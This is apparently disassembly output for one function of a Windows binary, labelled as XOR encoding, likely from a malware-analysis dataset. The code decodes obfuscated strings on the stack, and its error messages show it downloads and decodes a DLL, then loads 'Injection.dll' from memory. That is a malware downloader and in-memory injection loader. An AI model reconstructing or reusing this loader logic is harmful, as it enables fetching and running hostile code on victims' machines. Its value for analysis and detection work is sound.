Function at 0x140001b00
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x120
movaps xmmword [r11 - 0x18], xmm6
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x100], rax
xor edi, edi
movups xmm0, xmmword [0x1400046d0]
movups xmmword [rsp + 0x80], xmm0
movups xmm1, xmmword [0x1400046e0]
movups xmmword [rsp + 0x90], xmm1
movups xmm0, xmmword [str._916__77t_v.4__]
movups xmmword [rsp + 0xa0], xmm0
movsd xmm0, qword [0x140004700]
movsd qword [r11 - 0x78], xmm0
movzx eax, byte [0x140004708]
mov byte [r11 - 0x70], al
mov r8d, edi
mov r10d, dword [0x140007088]
cmp r10d, 2
jl 0x140001cc5
movdqa xmm5, xmmword [0x140004740]
movdqa xmm4, xmmword [0x140004770]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x140004780]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [r11 - 0xa4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140004760]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140004760]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140001bc0
cmp r8d, 0x39
jge 0x140001d0f
movsxd rax, r8d
lea r9, [rsp + 0x80]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x39
jl 0x140001ce0
movups xmm0, xmmword [str.ZG_E_f]
movups xmmword [rsp + 0x20], xmm0
movsd xmm0, qword [0x140004720]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x140004728]
mov dword [rsp + 0x38], eax
movzx eax, word [0x14000472c]
mov word [rsp + 0x3c], ax
cmp byte [0x14000472d], 0
je 0x140001ecb
mov ecx, edi
cmp r10d, 2
jl 0x140001e92
movdqa xmm5, xmmword [0x140004740]
movdqa xmm4, xmmword [0x140004770]
movdqa xmm6, xmmword [str.7777]
movdqa xmm0, xmmword [0x140004780]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x24]
mov r8d, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140004760]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140004760]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x140001d90
cmp ecx, 0x1e
jge 0x140001ecb
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1e
jl 0x140001ea0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x20]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140001ef0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140002710
nop
lea rax, [rsp + 0x80]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001f12
mov r8, rbx
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.140002220
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xf0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001fad
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fa8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003010
movdqa xmm0, xmmword [0x140004730]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rsp + 0xc8], xmm1
mov qword [rsp + 0xd8], rax
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0xc8]
call fcn.140001690
nop
mov rax, qword [rsp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
cmp qword [rsp + 0xc8], rax
jne 0x1400020c8
lea rdx, str.Failed_to_download_and_decode_the_DLL
call fcn.140002370
lea rdx, [0x140002540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14000207b
mov rdx, qword [rsp + 0xd8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002062
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000211e
call fcn.140003010
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rdi
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x1400020be
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002178
call fcn.140003010
mov eax, 1
jmp 0x140002190
lea rdx, str.Failed_to_load_Injection.dll_from_memory
call fcn.140002370
lea rdx, [0x140002540]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14000213e
mov rdx, qword [rsp + 0xd8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002125
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002125
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003010
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xc8], xmm0
mov qword [rsp + 0xd8], rdi
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x140002184
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000217f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000217f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003010
mov eax, 1
jmp 0x140002190
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.140002bf0
mov rbx, qword [rsp + 0x130]
movaps xmm6, xmmword [rsp + 0x110]
add rsp, 0x120
pop rdi
ret